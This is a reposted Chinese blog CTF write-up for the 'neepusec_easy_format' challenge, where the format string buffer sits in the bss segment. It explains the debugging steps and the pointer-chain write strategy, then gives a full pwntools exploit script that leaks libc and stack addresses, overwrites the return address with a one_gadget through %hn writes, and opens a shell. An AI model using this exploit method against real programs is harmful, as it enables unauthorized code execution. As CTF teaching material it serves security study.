博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
fmt在bss段(neepusec_easy_format)
阅读量:2134 次
发布时间:2019-04-30

本文共 1863 字,大约阅读时间需要 6 分钟。

fmt在bss段(neepusec_easy_format)

1.gdb操作

  • vmapp

    在这里插入图片描述

  • stack

    在这里插入图片描述

  • retaddr

    在这里插入图片描述

2.思路

  1. 先泄漏能够泄漏的地址包括:当前站地址、libc地址

  2. 然后通过下面的指令进行地址写

    #这里是只要覆盖偏移为12的地址值的后两个字节debug()offset0 = ret&0xffffpayload = '%'+str(offset0)+'c%12$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()#这里覆盖偏移为25的地址值的后两个字节offset1 = one&0xffffpayload = '%'+str(offset1) +'c%25$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()#修改的永远是指针指向的值#############################################payload = '%'+str(offset0+2)+'c%12$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()offset2 = 0xffff&(one>>16)payload = '%'+str(offset2) +'c%25$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')
  3. 修改流程

    1. 未修改前

      在这里插入图片描述

    2. 第一次修改

      在这里插入图片描述

    3. 第二次修改

      在这里插入图片描述

    4. 第三次修改

      在这里插入图片描述

  4. 注意!!!每次修改的值都是二级指针指向的值,不能直接修改

    在这里插入图片描述

3. exp

from pwn import *from LibcSearcher import *p = process('./pwn')#p = remote('neepusec.club',18757)elf = ELF('./pwn')context.log_level = 'debug'def debug():    gdb.attach(p)    pause()payload = '\x00'p.sendlineafter(':\n',payload)p.send('aaaa%23$pbbbb%8$p')p.recvuntil('aaaa0x')__libc_start_main = int(p.recv(12),16)-231log.success('__libc_start_main===>'+hex(__libc_start_main))libc = LibcSearcher('__libc_start_main',__libc_start_main)libc_base = __libc_start_main - libc.dump('__libc_start_main')log.success('libc_base==>'+hex(libc_base))one = [0x4f3d5,0x4f432,0x10a41c]one = one[0]+libc_baselog.success('one==>'+hex(one))p.recvuntil('bbbb0x')ret = int(p.recv(12),16) + 8log.success('ret==>'+hex(ret))debug()offset0 = ret&0xffffpayload = '%'+str(offset0)+'c%12$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()offset1 = one&0xffffpayload = '%'+str(offset1) +'c%25$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()payload = '%'+str(offset0+2)+'c%12$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()offset2 = 0xffff&(one>>16)payload = '%'+str(offset2) +'c%25$hnxxxx\x00'p.sendline(payload)p.recvuntil('xxxx')debug()p.sendline('ls')p.interactive()

转载地址:http://htugf.baihongyu.com/

你可能感兴趣的文章
Intellij IDEA使用(二)—— 在Intellij IDEA中配置JDK(SDK)
查看>>
Intellij IDEA使用(三)——在Intellij IDEA中配置Tomcat服务器
查看>>
Intellij IDEA使用(四)—— 使用Intellij IDEA创建静态的web(HTML)项目
查看>>
Intellij IDEA使用(五)—— Intellij IDEA在使用中的一些其他常用功能或常用配置收集
查看>>
Intellij IDEA使用(六)—— 使用Intellij IDEA创建Java项目并配置jar包
查看>>
Eclipse使用(十)—— 使用Eclipse创建简单的Maven Java项目
查看>>
Eclipse使用(十一)—— 使用Eclipse创建简单的Maven JavaWeb项目
查看>>
Intellij IDEA使用(十三)—— 在Intellij IDEA中配置Maven
查看>>
面试题 —— 关于main方法的十个面试题
查看>>
集成测试(一)—— 使用PHP页面请求Spring项目的Java接口数据
查看>>
使用Maven构建的简单的单模块SSM项目
查看>>
Intellij IDEA使用(十四)—— 在IDEA中创建包(package)的问题
查看>>
Redis学习笔记(四)—— redis的常用命令和五大数据类型的简单使用
查看>>
Win10+VS2015编译libcurl
查看>>
Windows下使用jsoncpp
查看>>
Ubuntu下测试使用Nginx+uWsgi+Django
查看>>
Windows下编译x264
查看>>
visual studio调试内存泄漏工具
查看>>
开源Faac实现PCM编码AAC
查看>>
Windows下wave API 音频采集
查看>>